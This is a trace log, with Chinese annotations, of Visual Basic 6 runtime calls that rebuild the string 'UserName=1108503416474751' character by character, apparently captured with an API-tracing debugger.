__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"N")
__vbaStrVarVal返回值: 0x00171364 (unicode字符串"N")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171364
rtcAnsiValueBstr返回值: 0x0000004E ( 'N' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000004E
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"N")
Var3=0x0012F718 (vb字符串:"User")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserN")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:6)
__vbaI4Var返回值: 0x00000006(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000006
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"a")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"a")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"a")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000061 ( 'a' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000061
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"a")
Var3=0x0012F718 (vb字符串:"UserN")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserNa")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:7)
__vbaI4Var返回值: 0x00000007(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000007
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"m")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"m")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"m")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x0000006D ( 'm' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000006D
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"m")
Var3=0x0012F718 (vb字符串:"UserNa")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserNam")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:8)
__vbaI4Var返回值: 0x00000008(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000008
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"e")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"e")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"e")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000065 ( 'e' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000065
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"e")
Var3=0x0012F718 (vb字符串:"UserNam")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:9)
__vbaI4Var返回值: 0x00000009(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000009
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"=")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"=")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"=")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000003D ( '=' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000003D
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"=")
Var3=0x0012F718 (vb字符串:"UserName")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:10)
__vbaI4Var返回值: 0x0000000A(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x0000000A
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"1")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"1")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"1")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000031 ( '1' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000031
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"1")
Var3=0x0012F718 (vb字符串:"UserName=")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=1")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:11)
__vbaI4Var返回值: 0x0000000B(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x0000000B
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"1")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"1")
__vbaStrVarVal返回值: 0x00171364 (unicode字符串"1")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171364
rtcAnsiValueBstr返回值: 0x00000031 ( '1' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000031
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"1")
Var3=0x0012F718 (vb字符串:"UserName=1")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=11")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:12)
__vbaI4Var返回值: 0x0000000C(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x0000000C
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"0")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"0")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"0")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000030 ( '0' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000030
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"0")
Var3=0x0012F718 (vb字符串:"UserName=11")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=110")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:13)
__vbaI4Var返回值: 0x0000000D(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x0000000D
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"8")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"8")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"8")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000038 ( '8' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000038
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"8")
Var3=0x0012F718 (vb字符串:"UserName=110")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=1108")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:14)
__vbaI4Var返回值: 0x0000000E(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x0000000E
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"5")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"5")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"5")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000035 ( '5' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000035
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"5")
Var3=0x0012F718 (vb字符串:"UserName=1108")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=11085")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:15)
__vbaI4Var返回值: 0x0000000F(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x0000000F
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"0")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"0")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"0")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000030 ( '0' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000030
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"0")
Var3=0x0012F718 (vb字符串:"UserName=11085")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=110850")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:16)
__vbaI4Var返回值: 0x00000010(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000010
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"3")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"3")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"3")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000033 ( '3' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000033
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"3")
Var3=0x0012F718 (vb字符串:"UserName=110850")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=1108503")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:17)
__vbaI4Var返回值: 0x00000011(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000011
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"4")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"4")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"4")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000034 ( '4' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000034
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"4")
Var3=0x0012F718 (vb字符串:"UserName=1108503")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=11085034")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:18)
__vbaI4Var返回值: 0x00000012(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000012
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"1")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"1")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"1")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000031 ( '1' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000031
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"1")
Var3=0x0012F718 (vb字符串:"UserName=11085034")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=110850341")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:19)
__vbaI4Var返回值: 0x00000013(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000013
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"6")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"6")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"6")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000036 ( '6' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000036
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"6")
Var3=0x0012F718 (vb字符串:"UserName=110850341")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=1108503416")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:20)
__vbaI4Var返回值: 0x00000014(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000014
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"4")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"4")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"4")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000034 ( '4' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000034
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"4")
Var3=0x0012F718 (vb字符串:"UserName=1108503416")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=11085034164")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:21)
__vbaI4Var返回值: 0x00000015(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000015
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"7")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"7")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"7")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000037 ( '7' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000037
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"7")
Var3=0x0012F718 (vb字符串:"UserName=11085034164")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=110850341647")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:22)
__vbaI4Var返回值: 0x00000016(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000016
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"4")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"4")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"4")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000034 ( '4' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000034
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"4")
Var3=0x0012F718 (vb字符串:"UserName=110850341647")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=1108503416474")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:23)
__vbaI4Var返回值: 0x00000017(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000017
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"7")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"7")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"7")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000037 ( '7' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000037
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"7")
Var3=0x0012F718 (vb字符串:"UserName=1108503416474")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=11085034164747")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:24)
__vbaI4Var返回值: 0x00000018(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000018
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"5")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"5")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"5")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000035 ( '5' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000035
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"5")
Var3=0x0012F718 (vb字符串:"UserName=11085034164747")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=110850341647475")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:25)
__vbaI4Var返回值: 0x00000019(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=1108503416474751")
Start=0x00000019
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"1")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"1")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"1")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000031 ( '1' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000031
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"1")
Var3=0x0012F718 (vb字符串:"UserName=110850341647475")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=1108503416474751")
